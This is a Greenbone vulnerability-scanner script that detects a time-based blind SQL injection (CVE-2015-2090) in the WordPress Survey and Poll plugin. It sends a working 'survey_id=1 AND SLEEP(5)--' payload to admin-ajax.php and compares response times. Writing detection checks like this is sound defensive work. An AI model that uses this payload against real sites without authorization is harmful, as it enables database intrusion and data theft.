WordPress Survey and Poll Blind SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805141");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-03-05 10:54:55 +0530 (Thu, 05 Mar 2015)");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_name("WordPress Survey and Poll Blind SQL Injection Vulnerability");
  script_cve_id("CVE-2015-2090");

  script_tag(name:"summary", value:"The WordPress plugin 'Survey and Poll' is prone to blind sql injection vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to execute sql query or not.");

  script_tag(name:"insight", value:"Flaw is due to the settings.php script
  not properly sanitizing user-supplied input to the 'survey_id' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to inject or manipulate SQL queries in the back-end database,
  allowing for the manipulation or disclosure of arbitrary data.");

  script_tag(name:"affected", value:"WordPress Survey and Poll Plugin
  version 1.1, Prior versions may also be affected.");

  script_tag(name:"solution", value:"Update to version 1.2 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36054");
  script_xref(name:"URL", value:"https://wordpress.org/plugins/wp-survey-and-poll/changelog");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

time_taken = 0;
actual_time = 0;

function get_response_time(url, port) {

  local_var url, port, req, start, res, stop, time_taken;

  req = http_get(item:url, port:port);

  start = unixtime();
  res = http_keepalive_send_recv(port:port, data:req);
  stop = unixtime();

  time_taken = stop - start;
  return(time_taken);
}

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-content/plugins/wp-survey-and-poll/wordpress-survey-and-poll.php";
req = http_get(item:url, port:port);

start = unixtime();
res = http_keepalive_send_recv(port:port, data:req);
stop = unixtime();

if(res && res =~ "^HTTP/1\.[01] 200") {
  actual_time = stop - start;

  url = dir + '/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save'
            + '&survey_id=1%20AND%20SLEEP%280%29--';

  time_taken_1 = get_response_time(url:url, port:port);
  if(time_taken_1 > actual_time + 5) exit(0);

  url = dir + '/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save'
            + '&survey_id=1%20AND%20SLEEP%285%29--';

  time_taken_2 = get_response_time(url:url, port:port);
  if(time_taken_2 < actual_time + 5) exit(0);

  url = dir + '/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save'
            + '&survey_id=1%20AND%20SLEEP%280%29--';

  time_taken_3 = get_response_time(url:url, port:port);
  if(time_taken_3 > actual_time + 5) exit(99);

  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);